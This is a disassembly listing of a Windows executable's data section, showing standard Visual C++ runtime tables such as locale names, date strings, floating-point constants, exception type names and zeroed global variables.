0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_444440 dd 3 ; DATA XREF: ___:00425F88r ; ___:loc_425F9Br ... dword_444444 dd 7 ; DATA XREF: ___:00425FA1r ; sub_427350+17Dr dword_444448 dd 78h ; DATA XREF: ___:004271C8r ; ___:004271E6r dword_44444C dd 0Ah ; DATA XREF: sub_4260B0+1Dr ; sub_4260B0:loc_4260E2r ... dword_444450 dd 2 ; DATA XREF: sub_426B80+2Ar ; sub_426B80+3Dr ... off_444454 dd offset aR6002FloatingP ; DATA XREF: sub_426B80+56r ; sub_426B80+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4344D8h, 9, 4344ACh, 0Ah, 434488h, 10h, 43445Ch dd 11h, 43442Ch, 12h, 434408h, 13h, 4343DCh, 18h, 4343A4h dd 19h, 43437Ch, 1Ah, 434344h, 1Bh, 43430Ch, 1Ch, 4342E4h dd 78h, 4342D4h, 79h, 4342C4h, 7Ah, 4342B4h, 0FCh, 4342B0h dd 0FFh, 4342A0h dword_4444E0 dd 7080h ; DATA XREF: sub_421E20+92r ; sub_428F10+80w ... dword_4444E4 dd 1 ; DATA XREF: sub_421E20+C2r ; sub_428F10+BFw ... dword_4444E8 dd 0FFFFF1F0h ; DATA XREF: sub_421E20+DEr ; sub_428F10+D7w ... off_4444EC dd offset dword_545350 ; DATA XREF: ___:off_44456Co dd 0Fh dup(0) off_44452C dd offset dword_544450 ; DATA XREF: ___:off_444570o dd 0Fh dup(0) off_44456C dd offset off_4444EC ; DATA XREF: sub_428F10+FAr ; sub_428F10+123r ... off_444570 dd offset off_44452C ; DATA XREF: sub_428F10+140r ; sub_428F10+16Ar ... align 8 dword_444578 dd 0FFFFFFFFh ; DATA XREF: sub_428F10+30w ; sub_4292F0+1Ar ... dword_44457C dd 0 ; DATA XREF: sub_4292F0:loc_4294EBr ; sub_4292F0+20Fr ... dword_444580 dd 0 ; DATA XREF: sub_4292F0+2CFr ; sub_4295F0+13Dw align 8 dword_444588 dd 0FFFFFFFFh ; DATA XREF: sub_428F10+21w ; sub_428F10+2Br ... dword_44458C dd 0 ; DATA XREF: sub_4292F0+201r ; sub_4292F0+21Dr ... dword_444590 dd 0 ; DATA XREF: sub_4292F0+2E5r ; sub_4295F0+1Dr ... dword_444594 dd 0FFFFFFFFh ; DATA XREF: sub_4295F0+B0r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_4445C4 dd 16Dh ; DATA XREF: sub_421E20+2Er ; sub_4295F0+2Cr ... dword_4445C8 dd 0FFFFFFFFh ; DATA XREF: sub_4295F0+BFr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch dword_4445FC dd 2694h ; DATA XREF: sub_4223E0+3r ; ___:0042244Fr ... dword_444600 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42A2C0+3o dword_444618 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_42A2E0+3o dword_444630 dd 40Ah ; DATA XREF: sub_42C930+3Er ; sub_42C930+147r a040a db '040a',0 ; DATA XREF: sub_42C930+9Ao align 4 off_44463C dd offset aSpanishTraditi ; DATA XREF: sub_42C930+ABr ; "Spanish - Traditional Sort" off_444640 dd offset byte_505345 ; DATA XREF: sub_42C930+BCo off_444644 dd offset aSpain ; DATA XREF: sub_42C930+CDr ; "Spain" off_444648 dd offset byte_505345 ; DATA XREF: sub_42C930+DEo dword_44464C dd 303538h, 0 ; DATA XREF: sub_42C930+EFo a1252 db '1252',0 ; DATA XREF: sub_42C930+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd offset loc_415245+1 dd offset aFrance ; "France" dd offset loc_415245+1 dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd offset byte_515545 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd offset byte_58454D dd 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425244+2 dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset loc_414544 dd offset aAustria ; "Austria" dd offset byte_545541 dd 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset loc_414E43+2 dd offset aAustralia ; "Australia" dd offset aCZ@K ; "Ä–'§»@:[Š" dd 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd offset byte_505345 dd 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset dword_435244+2 dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd offset aEEhQas ; "¥ì…HŸ€‘" dd offset aSwitzerland ; "Switzerland" dd offset byte_454843 dd 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset dword_435330+15h dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd offset dword_58554C dd 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset loc_415344+1 dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd offset byte_534E45 dd offset aSouthAfrica ; "South Africa" dd offset word_46415A dd 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset dword_445344+1 dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_565345 dd offset aVenezuela ; "Venezuela" dd offset word_4E4556 dd 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4F5345 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_525345 dd offset aPeru ; "Peru" dd offset dword_524550 dd 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_535345 dd offset aArgentina ; "Argentina" dd offset byte_475241 dd 303538h, 0 a1252_21 db '1252',0 align 4 a0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd offset byte_554345 dd 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_595345 dd offset aUruguay ; "Uruguay" dd offset byte_595255 dd 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_5A5345 dd offset aParaguay ; "Paraguay" dd offset dword_595250 dd 303538h, 0 a1252_25 db '1252',0 align 4 word_444AD4 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch ; DATA XREF: sub_42C800+34r dw 810h, 81Dh off_444AE8 dd offset aAmerica ; DATA XREF: sub_42BE10+9Co ; "america" dd offset loc_415353+2 dd offset aBritain ; "britain" dd offset aAvaSx+3 dd offset aChina ; "china" dd offset byte_4E4843 dd offset aCzech ; "czech" dd offset byte_455A43 dd offset aEngland ; "england" dd offset aAvaSx+3 dd offset aGreatBritain ; "great britain" dd offset aAvaSx+3 dd offset aHolland ; "holland" dd offset word_444C4E dd offset aHongKong ; "hong-kong" dd offset dword_474B48 dd offset aNewZealand ; "new-zealand" dd offset word_4C5A4E dd offset aNz ; "nz" dd offset word_4C5A4E dd offset aPrChina_0 ; "pr china" dd offset byte_4E4843 dd offset aPrChina ; "pr-china" dd offset byte_4E4843 dd offset aPuertoRico ; "puerto-rico" dd offset dword_495250 dd offset aSlovak ; "slovak" dd offset byte_4B5653 dd offset aSouthAfrica_1 ; "south africa" dd offset word_46415A dd offset aSouthKorea_0 ; "south korea" dd offset aIty ; "\"ØI’y" dd offset aSouthAfrica_0 ; "south-africa" dd offset word_46415A dd offset aSouthKorea ; "south-korea" dd offset aIty ; "\"ØI’y" dd offset aTrinidadTobago ; "trinidad & tobago" dd offset dword_4F5454 dd offset aUk ; "uk" dd offset aAvaSx+3 dd offset aUnitedKingdom ; "united-kingdom" dd offset aAvaSx+3 dd offset aUnitedStates ; "united-states" dd offset loc_415353+2 dd offset aUs ; "us" dd offset loc_415353+2 off_444BA0 dd offset aAmerican ; DATA XREF: sub_42BE10+67o ; "american" dd offset byte_554E45 dd offset aAmericanEngl_0 ; "american english" dd offset byte_554E45 dd offset aAmericanEnglis ; "american-english" dd offset byte_554E45 dd offset aAustralian ; "australian" dd offset loc_414E43+2 dd offset aBelgian ; "belgian" dd offset loc_424C4C+2 dd offset aCanadian ; "canadian" dd offset aMonday+5 dd offset aChh ; "chh" dd offset word_48485A dd offset aChi ; "chi" dd offset word_49485A dd offset aChinese ; "chinese" dd offset aYkdB ; "µyKD(b" dd offset aChineseHongkon ; "chinese-hongkong" dd offset word_48485A dd offset aChineseSimplif ; "chinese-simplified" dd offset aYkdB ; "µyKD(b" dd offset aChineseSingapo ; "chinese-singapore" dd offset word_49485A dd offset aChineseTraditi ; "chinese-traditional" dd offset byte_544843 dd offset aDutchBelgian ; "dutch-belgian" dd offset loc_424C4C+2 dd offset aEnglishAmerica ; "english-american" dd offset byte_554E45 dd offset aEnglishAus ; "english-aus" dd offset loc_414E43+2 dd offset aEnglishBelize ; "english-belize" dd offset byte_4C4E45 dd offset aEnglishCan ; "english-can" dd offset aMonday+5 dd offset aEnglishCaribbe ; "english-caribbean" dd offset loc_424E42+3 dd offset aEnglishIre ; "english-ire" dd offset byte_494E45 dd offset aEnglishJamaica ; "english-jamaica" dd offset byte_4A4E45 dd offset aEnglishNz ; "english-nz" db 45h, 4Eh word_444C4E dw 5Ah ; DATA XREF: ___:00444B1Co dd offset aEnglishSouthAf ; "english-south africa" dd offset byte_534E45 dd offset aEnglishTrinida ; "english-trinidad y tobago" dd offset byte_544E45 dd offset aEnglishUk ; "english-uk" dd offset byte_474E45 dd offset aEnglishUs ; "english-us" dd offset byte_554E45 dd offset aEnglishUsa ; "english-usa" dd offset byte_554E45 dd offset aFrenchBelgian ; "french-belgian" dd offset loc_425244+2 dd offset aFrenchCanadian ; "french-canadian" dd offset dword_435244+2 dd offset aFrenchLuxembou ; "french-luxembourg" dd offset word_4C5246 dd offset aFrenchSwiss ; "french-swiss" dd offset aEEhQas ; "¥ì…HŸ€‘" dd offset aGermanAustrian ; "german-austrian" dd offset loc_414544 dd offset aGermanLichtens ; "german-lichtenstein" dd offset aMicrosoftVis_0+18h dd offset aGermanLuxembou ; "german-luxembourg" dd offset dword_4C4544 dd offset aGermanSwiss ; "german-swiss" dd offset dword_534544 dd offset aIrishEnglish ; "irish-english" dd offset byte_494E45 dd offset aItalianSwiss ; "italian-swiss" dd offset byte_535449 dd offset aNorwegian ; "norwegian" dd offset aIty+3 dd offset aNorwegianBokma ; "norwegian-bokmal" dd offset aIty+3 dd offset aNorwegianNynor ; "norwegian-nynorsk" dd offset word_4E4F4E dd offset aPortugueseBraz ; "portuguese-brazilian" dd offset loc_42544F+1 dd offset aSpanishArgenti ; "spanish-argentina" dd offset byte_535345 dd offset aSpanishBolivia ; "spanish-bolivia" dd offset loc_425343+2 dd offset aSpanishChile ; "spanish-chile" dd offset byte_4C5345 dd offset aSpanishColombi ; "spanish-colombia" dd offset byte_4F5345 dd offset aSpanishCostaRi ; "spanish-costa rica" dd offset dword_435330+15h dd offset aSpanishDominic ; "spanish-dominican republic" dd offset dword_445344+1 dd offset aSpanishEcuador ; "spanish-ecuador" dd offset byte_465345 dd offset aSpanishElSalva ; "spanish-el salvador" dd offset byte_455345 dd offset aSpanishGuatema ; "spanish-guatemala" dd offset byte_475345 dd offset aSpanishHondura ; "spanish-honduras" dd offset byte_485345 dd offset aSpanishMexican ; "spanish-mexican" dd offset byte_4D5345 dd offset aSpanishModern ; "spanish-modern" dd offset byte_4E5345 dd offset aSpanishNicarag ; "spanish-nicaragua" dd offset byte_495345 dd offset aSpanishPanama ; "spanish-panama" dd offset loc_415344+1 dd offset aSpanishParagua ; "spanish-paraguay" dd offset byte_5A5345 dd offset aSpanishPeru ; "spanish-peru" dd offset byte_525345 dd offset aSpanishPuertoR ; "spanish-puerto rico" dd offset aVsL ; "VéÚl" dd offset aSpanishUruguay ; "spanish-uruguay" dd offset byte_595345 dd offset aSpanishVenezue ; "spanish-venezuela" dd offset byte_565345 dd offset aSwedishFinland ; "swedish-finland" dd offset byte_465653 dd offset aSwiss ; "swiss" dd offset dword_534544 dd offset aUk ; "uk" dd offset byte_474E45 dd offset aUs ; "us" dd offset byte_554E45 dd offset aUsa ; "usa" dd offset byte_554E45 off_444DA8 dd offset off_444DB0 ; DATA XREF: sub_42A8D0+70w ; sub_42A8D0:loc_42A971w ... align 10h off_444DB0 dd offset aSun ; DATA XREF: sub_42A8D0:loc_42A971o ; ___:off_444DA8o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset dword_434D40+34h dd offset dword_434D40+30h dd offset dword_434D40+2Ch dd offset dword_434D40+24h dd offset dword_434D40+10h dd offset dword_434D40+8 align 10h dword_444E60 dd 2Eh, 0 ; DATA XREF: sub_42B250+EEo ; ___:off_444E68o off_444E68 dd offset dword_444E60 ; DATA XREF: sub_42B580+D4w ; sub_42B580+F6o ... off_444E6C dd offset dword_4DB438 ; DATA XREF: sub_42B580+E2w off_444E70 dd offset dword_4DB438 ; DATA XREF: sub_42B580+F1w dd offset dword_4DB438 dd offset dword_4DB438 dd offset dword_4DB438 dd offset dword_4DB438 dd offset dword_4DB438 dd offset dword_4DB438 dd offset dword_4DB438 dd 2 dup(7F7F7F7Fh) off_444E98 dd offset off_444E68 ; DATA XREF: sub_42B250:loc_42B339r ; sub_42B250+F8r ... align 10h dword_444EA0 dd 2 dup(0) ; DATA XREF: sub_4306E0+6o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_445000 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_4306E0+2Ao dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_445160 dd offset off_434FB8 ; DATA XREF: ___:off_434FE0o ; ___:0043510Co ... align 8 a_?avexception@ db '.?AVexception@@',0 off_445178 dd offset off_434FB8 ; DATA XREF: ___:off_434FF8o ; ___:0043503Co ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_445198 dd offset off_434FB8 ; DATA XREF: ___:off_435048o ; ___:0043508Co ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_4451B8 dd offset off_434FB8 ; DATA XREF: ___:off_435098o ; ___:004350DCo ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_4451D8 dd offset off_434FB8 ; DATA XREF: ___:off_435118o ; ___:00435154o align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42A780 align 8 dword_4451F8 dd 2 dup(0) ; DATA XREF: sub_401317+C8o dword_445200 dd 0 ; DATA XREF: sub_401317+62o dword_445204 dd 0 ; DATA XREF: sub_4014E0+4A7w ; sub_4014E0+4EBr dword_445208 dd 0 ; DATA XREF: sub_4014E0+65w ; sub_413426+166r dword_44520C dd 0 ; DATA XREF: sub_4014E0+80Bw ; sub_4014E0+880r ... dword_445210 dd 0 ; DATA XREF: sub_4014E0+9D8w ; sub_4014E0+A43r ... dword_445214 dd 0 ; DATA XREF: sub_4014E0+98Aw ; sub_4014E0+A13r ... dword_445218 dd 0 ; DATA XREF: sub_4014E0+48Dw ; sub_4014E0+4DBr dword_44521C dd 0 ; DATA XREF: sub_4014E0+213w ; sub_4014E0+234r dword_445220 dd 0 ; DATA XREF: sub_4014E0+9CBw ; sub_4014E0+A3Br ... dword_445224 dd 0 ; DATA XREF: sub_4014E0+372w ; sub_4014E0+3C7r ... dword_445228 dd 0 ; DATA XREF: sub_4014E0+40Fw ; sub_414129+11Er dword_44522C dd 0 ; DATA XREF: sub_4014E0+37Fw ; sub_4014E0+3CFr ... dword_445230 dd 0 ; DATA XREF: sub_4014E0+3C0w ; sub_412A14+ADr dword_445234 dd 0 ; DATA XREF: sub_4014E0+55Aw ; sub_40D8F7+115r ... dword_445238 dd 0 ; DATA XREF: sub_4014E0+72w ; sub_4014E0+D2r ... dword_44523C dd 0 ; DATA XREF: sub_4014E0+97Dw ; sub_4014E0+A06r ... dword_445240 dd 0 ; DATA XREF: sub_4014E0+3A6w ; sub_4014E0+3E7r ... dword_445244 dd 0 ; DATA XREF: sub_4014E0+859w ; sub_4014E0+8ACr ... dword_445248 dd 0 ; DATA XREF: sub_4014E0+2A5w ; sub_4014E0+2F0r dword_44524C dd 0 ; DATA XREF: sub_4014E0+84Cw ; sub_4014E0+8A4r ... dword_445250 dd 0 ; DATA XREF: sub_4014E0+B3w dword_445254 dd 0 ; DATA XREF: sub_4014E0+866w ; sub_4014E0+8B4r ... dword_445258 dd 0 ; DATA XREF: sub_4014E0+54Dw ; sub_4014E0+6D0r ... dword_44525C dd 0 ; DATA XREF: sub_4014E0+58w ; sub_4014E0+CAr ... dword_445260 dd 0 ; DATA XREF: sub_4014E0+934w dword_445264 dd 0 ; DATA XREF: sub_4014E0+A95w ; sub_4014E0+A9Cr ... dword_445268 dd 0 ; DATA XREF: sub_4014E0+A6w ; sub_4014E0+F2r dword_44526C dd 0 ; DATA XREF: sub_4014E0+480w ; sub_4014E0+4D3r dword_445270 dd 0 ; DATA XREF: sub_4014E0+5F6w ; sub_409B7E+20r dword_445274 dd 0 ; DATA XREF: sub_4014E0+9BEw ; sub_4014E0+A33r dword_445278 dd 0 ; DATA XREF: sub_4014E0+5E9w ; sub_4014E0+754r ... dword_44527C dd 0 ; DATA XREF: sub_4014E0+A0Cw ; sub_40C33C+8Br ... dword_445280 dd 0 ; DATA XREF: sub_4014E0+B50w dword_445284 dd 0 ; DATA XREF: sub_4014E0+7FEw ; sub_4014E0+86Dr dword_445288 dd 0 ; DATA XREF: sub_4014E0+1B3w ; sub_411F81+15r dword_44528C dd 0 ; DATA XREF: sub_4014E0+997w ; sub_4014E0+A1Br ... dword_445290 dd 0 ; DATA XREF: sub_4014E0+38Cw ; sub_4014E0+3D7r ... dword_445294 dd 0 ; DATA XREF: sub_4014E0+399w ; sub_4014E0+3DFr ... dword_445298 dd 0 ; DATA XREF: sub_4014E0+C85w ; sub_4014E0+C8Cr dword_44529C dd 0 ; DATA XREF: sub_4014E0+6ACw ; ___:0040F0A8r dword_4452A0 dd 0 ; DATA XREF: sub_401317+1Dr ; sub_401317+23r ... dword_4452A4 dd 0 ; DATA XREF: sub_4014E0+4B4w dword_4452A8 dd 0 ; DATA XREF: sub_4014E0+9E5w ; sub_4014E0+A4Br ... dword_4452AC dd 0 ; DATA XREF: sub_401000+51r ; sub_4014E0+2B2w ... dword_4452B0 dd 0 ; DATA XREF: sub_4014E0+7Fw ; sub_4014E0+DAr ... dword_4452B4 dd 0 ; DATA XREF: sub_4014E0+B9Dw ; sub_4014E0+BA4r ... dword_4452B8 dd 0 ; DATA XREF: sub_4014E0+533w ; sub_4014E0+6B3r ... dword_4452BC dd 0 ; DATA XREF: sub_4014E0+825w ; sub_4014E0+890r ... dword_4452C0 dd 0 ; DATA XREF: sub_4014E0+9A4w ; sub_4014E0+A23r dword_4452C4 dd 0 ; DATA XREF: sub_4014E0+C0Ew ; sub_4014E0+C3Fr dword_4452C8 dd 0 ; DATA XREF: sub_4014E0+2CCw ; sub_41212B+47r dword_4452CC dd 0 ; DATA XREF: sub_4014E0+22Dw dword_4452D0 dd 0 ; DATA XREF: sub_4014E0+91Aw ; sub_4014E0+92Er dword_4452D4 dd 0 ; DATA XREF: sub_4014E0+C28w dword_4452D8 dd 0 ; DATA XREF: sub_4014E0+2D9w ; sub_41212B+4Fr dword_4452DC dd 0 ; DATA XREF: sub_4014E0+574w ; sub_4014E0+6E8r ... dword_4452E0 dd 0 ; DATA XREF: sub_4014E0+83Fw ; sub_4014E0+873r dword_4452E4 dd 0 ; DATA XREF: sub_4014E0+220w ; sub_4014E0+23Cr dword_4452E8 dd 0 ; DATA XREF: sub_4014E0+172w ; sub_4014E0+1C2r dword_4452EC dd 0 ; DATA XREF: sub_4014E0+678w ; sub_4014E0+7A4r ... dword_4452F0 dd 0 ; DATA XREF: sub_4014E0+5A8w ; sub_4014E0+718r ... dword_4452F4 dd 0 ; DATA XREF: sub_4014E0+567w ; sub_4014E0+6DCr dword_4452F8 dd 0 ; DATA XREF: sub_4014E0+8DBw ; sub_4014E0:loc_401DD9w ... dword_4452FC dd 0 ; DATA XREF: sub_401000+26r ; sub_4014E0+28Bw ... dword_445300 dd 0 ; DATA XREF: sub_4014E0+69Fw ; sub_4014E0+7BCr ... dword_445304 dd 0 ; DATA XREF: sub_4014E0+32Dw ; sub_4014E0+341r ... dword_445308 dd 0 ; DATA XREF: sub_4014E0+3B3w ; sub_4014E0+3EFr ... dword_44530C dd 0 ; DATA XREF: sub_4014E0+C01w ; sub_4014E0+C37r dword_445310 dd 0 ; DATA XREF: sub_4014E0+818w ; sub_4014E0+888r ... dword_445314 dd 0 ; DATA XREF: sub_4014E0+206w ; sub_4014E0+227r dword_445318 dd 0 ; DATA XREF: sub_4014E0+18Cw ; sub_4014E0+1D2r ... dword_44531C dd 0 ; DATA XREF: sub_4014E0+832w ; sub_4014E0+898r ... dword_445320 dd 0 ; DATA XREF: sub_4014E0+624w ; sub_4014E0+774r ... dword_445324 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_4014E0+2BFw ... dword_445328 dd 0 ; DATA XREF: sub_4014E0+66Bw ; sub_4014E0+79Cr dword_44532C dd 0 ; DATA XREF: sub_4014E0+320w ; sub_4014E0+334r ... dword_445330 dd 0 ; DATA XREF: sub_4014E0+644w ; sub_4014E0+784r ... dword_445334 dd 0 ; DATA XREF: sub_4014E0+44Cw ; sub_4014E0+4AEr dword_445338 dd 0 ; DATA XREF: sub_4014E0+199w ; sub_4014E0+1DAr ... dword_44533C dd 0 ; DATA XREF: sub_4014E0+365w ; sub_4014E0+3BAr ... dword_445340 dd 0 ; DATA XREF: sub_4014E0+AA2w dword_445344 dd 0 ; DATA XREF: sub_4014E0+5DCw ; sub_4014E0+748r ... dword_445348 dd 0 ; DATA XREF: sub_4014E0+5CFw ; sub_4014E0+73Cr ... dword_44534C dd 0 ; DATA XREF: sub_4014E0+4Bw ; sub_4014E0+C2r ... dword_445350 dd 0 ; DATA XREF: sub_4014E0+473w ; sub_4014E0+4CBr dword_445354 dd 0 ; DATA XREF: sub_4014E0+165w ; sub_4014E0+1BAr ... dword_445358 dd 0 ; DATA XREF: sub_4014E0+9FFw ; sub_4014E0+A5Br ... dword_44535C dd 0 ; DATA XREF: sub_4014E0+685w ; sub_4014E0+7ACr dword_445360 dd 0 ; DATA XREF: sub_4014E0+61Dw ; sub_4014E0+76Cr ... dword_445364 dd 0 ; DATA XREF: sub_4014E0+C1Bw ; sub_4014E0+C47r dword_445368 dd 0 ; DATA XREF: sub_4014E0+3Ew ; sub_4014E0+BAr ... dword_44536C dd 0 ; 